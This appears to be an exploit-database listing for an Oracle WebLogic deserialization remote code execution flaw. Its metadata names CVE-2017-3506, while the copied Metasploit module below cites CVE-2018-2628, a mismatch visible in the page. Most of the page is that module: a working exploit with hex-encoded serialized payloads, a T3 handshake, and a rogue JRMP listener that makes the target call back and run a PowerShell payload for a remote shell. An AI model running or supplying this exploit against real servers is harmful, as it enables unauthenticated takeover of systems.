Oracle Weblogic Server Deserialization Remote Code Execution
CVE
Category
Price
Severity
CVE-2017-3506
CWE-502
$50,000
Critical
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2018-08-11
CPE
cpe:cpe:/a:oracle:weblogic_server
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018080081 Below is a copy:
Oracle Weblogic Server Deserialization Remote Code Execution ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Powershell
def initialize(info={})
super(update_info(info,
'Name' => 'Oracle Weblogic Server Deserialization RCE',
'Description' => %q{
An unauthenticated attacker with network access to the Oracle Weblogic
Server T3 interface can send a serialized object to the interface to
execute code on vulnerable hosts.
},
'Author' =>
[
'brianwrf', # EDB PoC
'Jacob Robles' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2018-2628'],
['EDB', '44553']
],
'Privileged' => false,
'Targets' =>
[
[ 'Windows',
{
'Platform' => ['win']
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'RPORT' => 7001
},
'DisclosureDate' => 'Apr 17 2018'))
end
def gen_resp
pwrshl = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
pwrshl.gsub!("%COMSPEC%", "cmd.exe")
tmp_dat = pwrshl.each_byte.map {|b| b.to_s(16)}.join
mycmd = (tmp_dat.length >> 1).to_s(16).rjust(4,'0')
mycmd << tmp_dat
# Response data taken from JRMPListener generated data:
# java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener <lport> CommonsCollections1 'calc.exe'
# Modified captured network traffic bytes. Patch in command to run
@resp = '51aced0005770f02086f5ef3000001651a67984d80017372002e6a617661782e'
@resp << '6d616e6167656d656e742e42616441747472696275746556616c756545787045'
@resp << '7863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176'
@resp << '612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863'
@resp << '657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e'
@resp << '5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c'
@resp << '6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573'
@resp << '736167657400124c6a6176612f6c616e672f537472696e673b5b000a73746163'
@resp << '6b547261636574001e5b4c6a6176612f6c616e672f537461636b547261636545'
@resp << '6c656d656e743b4c001473757070726573736564457863657074696f6e737400'
@resp << '104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c'
@resp << '6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c'
@resp << '3cfd2239020000707870000000047372001b6a6176612e6c616e672e53746163'
@resp << '6b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e'
@resp << '756d6265724c000e6465636c6172696e67436c61737371007e00054c00086669'
@resp << '6c654e616d6571007e00054c000a6d6574686f644e616d6571007e0005707870'
@resp << '0000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c6973'
@resp << '74656e65727400114a524d504c697374656e65722e6a617661740006646f4361'
@resp << '6c6c7371007e000b000000e071007e000d71007e000e740009646f4d65737361'
@resp << '67657371007e000b000000ab71007e000d71007e000e74000372756e7371007e'
@resp << '000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e'
@resp << '7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c6973'
@resp << '74fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176'
@resp << '612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c6543'
@resp << '6f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a617661'
@resp << '2f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e757469'
@resp << '6c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870'
@resp << '000000007704000000007871007e001b787372003273756e2e7265666c656374'
@resp << '2e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e'
@resp << '48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c7565'
@resp << '7374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a61'
@resp << '76612f6c616e672f436c6173733b707870737d00000001000d6a6176612e7574'
@resp << '696c2e4d617074001066696c653a2f746d702f73732e6a6172787200176a6176'
@resp << '612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c'
@resp << '0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174'
@resp << '696f6e48616e646c65723b7078707371007e001c7372002a6f72672e61706163'
@resp << '68652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d'
@resp << '61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61'
@resp << '70616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e7366'
@resp << '6f726d65723b74001066696c653a2f746d702f73732e6a617278707372003a6f'
@resp << '72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6675'
@resp << '6e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97'
@resp << '040200015b000d695472616e73666f726d65727374002d5b4c6f72672f617061'
@resp << '6368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f72'
@resp << '6d65723b74001066696c653a2f746d702f73732e6a617278707572002d5b4c6f'
@resp << '72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472'
@resp << '616e73666f726d65723bbd562af1d834189902000074001066696c653a2f746d'
@resp << '702f73732e6a61727870000000057372003b6f72672e6170616368652e636f6d'
@resp << '6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e737461'
@resp << '6e745472616e73666f726d6572587690114102b1940200014c000969436f6e73'
@resp << '74616e7471007e000174001066696c653a2f746d702f73732e6a617278707672'
@resp << '00116a6176612e6c616e672e52756e74696d6500000000000000000000007078'
@resp << '707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c65637469'
@resp << '6f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287'
@resp << 'e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e67'
@resp << '2f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b6950'
@resp << '6172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7400'
@resp << '1066696c653a2f746d702f73732e6a61727870757200135b4c6a6176612e6c61'
@resp << '6e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67'
@resp << '657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab'
@resp << '16d7aecbcd5a99020000707870000000007400096765744d6574686f64757100'
@resp << '7e003e00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a'
@resp << '3bb3420200007078707671007e003e7371007e00367571007e003b0000000270'
@resp << '7571007e003b00000000740006696e766f6b657571007e003e00000002767200'
@resp << '106a6176612e6c616e672e4f626a656374000000000000000000000070787076'
@resp << '71007e003b7371007e0036757200135b4c6a6176612e6c616e672e537472696e'
@resp << '673badd256e7e91d7b470200007078700000000174'
@resp << mycmd
@resp << '74'
@resp << '0004657865637571007e003e0000000171007e00437371007e0031737200116a'
@resp << '6176612e6c616e672e496e746567657212e2a0a4f78187380200014900057661'
@resp << '6c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b'
@resp << '02000070787000000001737200116a6176612e7574696c2e486173684d617005'
@resp << '07dac1c31660d103000246000a6c6f6164466163746f72490009746872657368'
@resp << '6f6c647078703f40000000000000770800000010000000007878767200126a61'
@resp << '76612e6c616e672e4f7665727269646500000000000000000000007078707100'
@resp << '7e005a'
end
def on_client_connect(client)
# Make sure to only sent one meterpreter payload to a host.
# During testing the remote host called back up to 11 times
# (or as long as the server was listening).
vprint_status("Comparing host: #{client.peerhost}")
if @met_sent.include?(client.peerhost) then return end
@met_sent << client.peerhost
vprint_status("met_sent: #{@met_sent}")
# Response format determined by watching network traffic
# generated by EDB PoC
accept_conn = '4e00'
raccept_conn = client.peerhost.each_byte.map {|b| b.to_s(16)}.join
accept_conn << (raccept_conn.length >> 1).to_s(16).rjust(2,'0')
accept_conn << raccept_conn
accept_conn << '0000'
accept_conn << client.peerport.to_s(16).rjust(4,'0')
client.put([accept_conn].pack('H*'))
client.put([@resp].pack('H*'))
end
def t3_handshake
shake = '74332031322e322e310a41533a323535'
shake << '0a484c3a31390a4d533a313030303030'
shake << '30300a0a'
sock.put([shake].pack('H*'))
sleep(1)
sock.get_once
end
def build_t3_request_object
# data block is from EDB PoC
data = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a'
data << '56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278'
data << '700000000a000000030000000000000006007070707070700000000a00000003'
data << '0000000000000006007006fe010000aced00057372001d7765626c6f6769632e'
data << '726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078'
data << '707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e506163'
data << '6b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d69'
data << '6e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b'
data << '5a000e74656d706f7261727950617463684c0009696d706c5469746c65740012'
data << '4c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271'
data << '007e00034c000b696d706c56657273696f6e71007e000378707702000078fe01'
data << '0000aced00057372001d7765626c6f6769632e726a766d2e436c617373546162'
data << '6c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e'
data << '636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f9722455164'
data << '52463e0200035b00087061636b616765737400275b4c7765626c6f6769632f63'
data << '6f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e7265'
data << '6c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e67'
data << '3b5b001276657273696f6e496e666f417342797465737400025b427872002477'
data << '65626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b61676549'
data << '6e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f724900'
data << '0c726f6c6c696e67506174636849000b736572766963655061636b5a000e7465'
data << '6d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a'
data << '696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e'
data << '000478707702000078fe010000aced00057372001d7765626c6f6769632e726a'
data << '766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c0000787072'
data << '00217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5065657249'
data << '6e666f585474f39bc908f10200064900056d616a6f724900056d696e6f724900'
data << '0c726f6c6c696e67506174636849000b736572766963655061636b5a000e7465'
data << '6d706f7261727950617463685b00087061636b616765737400275b4c7765626c'
data << '6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f'
data << '3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5665'
data << '7273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data << '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c61'
data << '6e672f537472696e673b5b001276657273696f6e496e666f4173427974657374'
data << '00025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c'
data << '2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f7249'
data << '00056d696e6f7249000c726f6c6c696e67506174636849000b73657276696365'
data << '5061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c'
data << '6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56'
data << '657273696f6e71007e000578707702000078fe00fffe010000aced0005737200'
data << '137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078'
data << '707750210000000000000000000d3139322e3136382e312e323237001257494e'
data << '2d4147444d565155423154362e656883348cd6000000070000'
data << rport.to_s(16).rjust(4, '0')
data << 'ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced00'
data << '05737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a'
data << '0c0000787077200114dc42bd071a7727000d3234322e3231342e312e32353461'
data << '863d1d0000000078'
sock.put([data].pack('H*'))
sleep(2)
sock.get_once
end
def send_payload_objdata
# JRMPClient2 payload generated from EDB PoC:
# python exploit.py <rhost> <rport> ysoserial-0.0.6-SNAPSHOT-BETA-all.jar <lhost> <lport> JRMPClient2
# Patch in srvhost and srvport
payload = '056508000000010000001b0000005d0101007372017870737202787000000000'
payload << '00000000757203787000000000787400087765626c6f67696375720478700000'
payload << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced'
payload << '00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e'
payload << '7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e0020000'
payload << '78707702000078fe010000aced00057372001d7765626c6f6769632e726a766d'
payload << '2e436c6173735461626c65456e7472792f52658157f4f9ed0c00007870720013'
payload << '5b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007870'
payload << '7702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e43'
payload << '6c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a61'
payload << '76612e7574696c2e566563746f72d9977d5b803baf0103000349001163617061'
payload << '63697479496e6372656d656e7449000c656c656d656e74436f756e745b000b65'
payload << '6c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b'
payload << '78707702000078fe010000'
# Data
payload << 'aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e'
payload << '416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50'
payload << '726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e67'
payload << '2f7265666c6563742f496e766f636174696f6e48616e646c65723b7870737200'
payload << '2d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e76'
payload << '6f636174696f6e48616e646c657200000000000000020200007872001c6a6176'
payload << '612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c6133'
payload << '1e030000787077'
unicast_srvhost = srvhost.each_byte.map { |b| b.to_s(16) }.join
unicast_dat = '000a556e696361737452656600'
unicast_dat << (unicast_srvhost.length >> 1).to_s(16).rjust(2,'0')
unicast_dat << unicast_srvhost
unicast_dat << '0000'
unicast_dat << srvport.to_s(16).rjust(4,'0')
unicast_dat << '000000004e18654b000000000000000000000000000000'
unicast_dat << '78'
payload << ((unicast_dat.length >> 1) - 1).to_s(16).rjust(2,'0')
payload << unicast_dat
payload << 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461'
payload << '626c6553657276696365436f6e74657874ddcba8706386f0ba0c000078720029'
payload << '7765626c6f6769632e726d692e70726f76696465722e42617369635365727669'
payload << '6365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765'
payload << '626c6f6769632e726d692e696e7465726e616c2e4d6574686f64446573637269'
payload << '70746f7212485a828af7f67b0c000078707734002e61757468656e7469636174'
payload << '65284c7765626c6f6769632e73656375726974792e61636c2e55736572496e66'
payload << '6f3b290000001b7878fe00ff'
data = ((payload.length >> 1) + 4).to_s(16).rjust(8,'0')
data << payload
sock.put([data].pack('H*'))
sleep(1)
sock.put([data].pack('H*'))
sleep(1)
sock.get_once
end
def exploit
@met_sent = []
gen_resp
connect
vprint_status('Sending handshake...')
t3_handshake
build_t3_request_object
start_service
vprint_status('Sending payload...')
send_payload_objdata
# Need to wait this long to make sure we get a shell back
sleep(10)
end
end
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